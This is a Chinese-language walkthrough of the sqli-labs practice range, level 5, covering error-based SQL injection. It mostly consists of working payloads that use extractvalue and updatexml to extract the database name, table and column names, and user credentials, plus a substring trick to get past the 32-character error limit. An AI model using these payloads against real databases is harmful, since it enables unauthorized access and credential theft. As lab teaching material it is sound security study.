文章目錄
- sqli-labs靶場
- less 5 報錯注入
sqli-labs靶場
每道題都從以下模板講解,并且每個步驟都有圖片,清晰明了,便于復盤。
sql注入的基本步驟
- 注入點
- 注入類型
- 字符型:判斷閉合方式 (‘、"、’'、“”)
- 數字型
- 根據實際情況,選擇合適的注入方式
- 獲取數據庫名,表名,列名,數據
less 5 報錯注入
- 題目類型: 字符型 ’ 閉合 (無回顯)
id=1
顯示 You are in
id=1’
顯示報錯信息,分析得到閉合方式是單引號
id=1’ order by 4–+
報錯,說明不存在第4列
id=1’ order by 3 --+
正確回顯,說明表的字段數為3列
分析該題,可以得到,輸入錯誤語句會顯示報錯信息,因此我們可以使用報錯注入
id=1’and+extractvalue(1,concat(0x7e,(select schema()),0x7e))–+
通過extractvalue函數報錯注入得到數據庫名
id=1’and+extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=“security”) ,0x7e))–+
報錯注入得到表名
id=1’and+extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users”) ,0x7e))–+
報錯注入得到字段名
id=1’and+extractvalue(1,concat(0x7e, (select group_concat(id,“-”,username,“-”,password) from users) ,0x7e))–+
或者 id=1’and+extractvalue(1,concat(0x7e, (select group_concat(id,“-”,username,“-”,password) from users) ,0x7e))–+ 推薦
報錯注入得到數據
注意: 由于子查詢返回的數據太長,但extractvalue函數報錯輸出字符有長度限制,最長32位,通過substr或者substring 截取獲取 ->解決報錯注入一次只能回顯32字符的問題
id=1’and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,“-”,username,“-”,password),1,32) from users) ,0x7e))–+
id=1’and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,“-”,username,“-”,password),31,32) from users) ,0x7e))–+
- updatexml函數與extractvalue原理相似
id=1’+and+updatexml(1,concat(0x7e,(select group_concat(id,“-”,username,“-”,password) from users),0x7e),1)–+